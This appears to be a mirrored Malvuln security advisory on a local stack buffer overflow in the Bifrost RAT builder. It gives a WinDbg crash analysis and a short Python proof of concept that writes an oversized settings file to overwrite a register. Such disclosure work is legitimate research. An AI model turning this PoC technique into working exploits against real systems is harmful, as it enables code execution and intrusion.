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## https://sploitus.com/exploit?id=PACKETSTORM:162226
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/db45a906a0a3747398b2b8a5faff5e44.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Constructor.Win32.Bifrose.ag  
Vulnerability: Local Stack Buffer Overflow  
Description: Bifrost crypted by Dr.G3NIUS, doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.  
Type: PE32  
MD5: db45a906a0a3747398b2b8a5faff5e44  
Vuln ID: MVID-2021-0177  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 04/18/2021  
  
Memory Dump:  
(11f8.1b40): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=00187efc edx=0024e000 esi=00000003 edi=00000003  
eip=7710ed3c esp=001861c4 ebp=00186354 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202  
ntdll!ZwWaitForMultipleObjects+0xc:  
7710ed3c c21400 ret 14h  
  
0:000> .ecxr  
eax=41414141 ebx=00187efc ecx=00187efc edx=0024e000 esi=00187efc edi=00000000  
eip=00447b16 esp=00186b04 ebp=00186b48 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206  
*** WARNING: Unable to verify checksum for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe  
*** ERROR: Module load completed but symbols could not be loaded for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe  
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16:  
00447b16 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
  
FAULTING_IP:   
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16  
00447b16 ff90f4000000 call dword ptr [eax+0F4h]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 00447b16 (Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x00047b16)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414235  
Attempt to read from address 41414235  
  
PROCESS_NAME: Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 41414235  
  
READ_ADDRESS: 41414235   
  
FOLLOWUP_IP:   
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16  
00447b16 ff90f4000000 call dword ptr [eax+0F4h]  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00001b40  
  
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 00404a5a to 00447b16  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
00186b48 00404a5a 00000000 0018777c 00402ab1 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16  
00186b54 00402ab1 0d660d19 00187d50 0000052c Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x4a5a  
0018777c 00000000 00000000 00000000 00000000 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x2ab1  
  
  
STACK_COMMAND: ~0s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44  
  
IMAGE_NAME: Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 469cbcfa  
  
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16  
  
  
Exploit/PoC:  
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.  
  
import struct  
  
f=open('DOOM.set', 'wb')  
f.write("BifrostSettings".encode('ascii'))  
f.write(struct.pack('B', 0))  
f.write(str("A"*2300).encode('ascii'))  
f.close()  
  
2) Go to builder menu item in bifrost  
3) Import the corrupt bifrost .set (settings) file, Done!  
  
  
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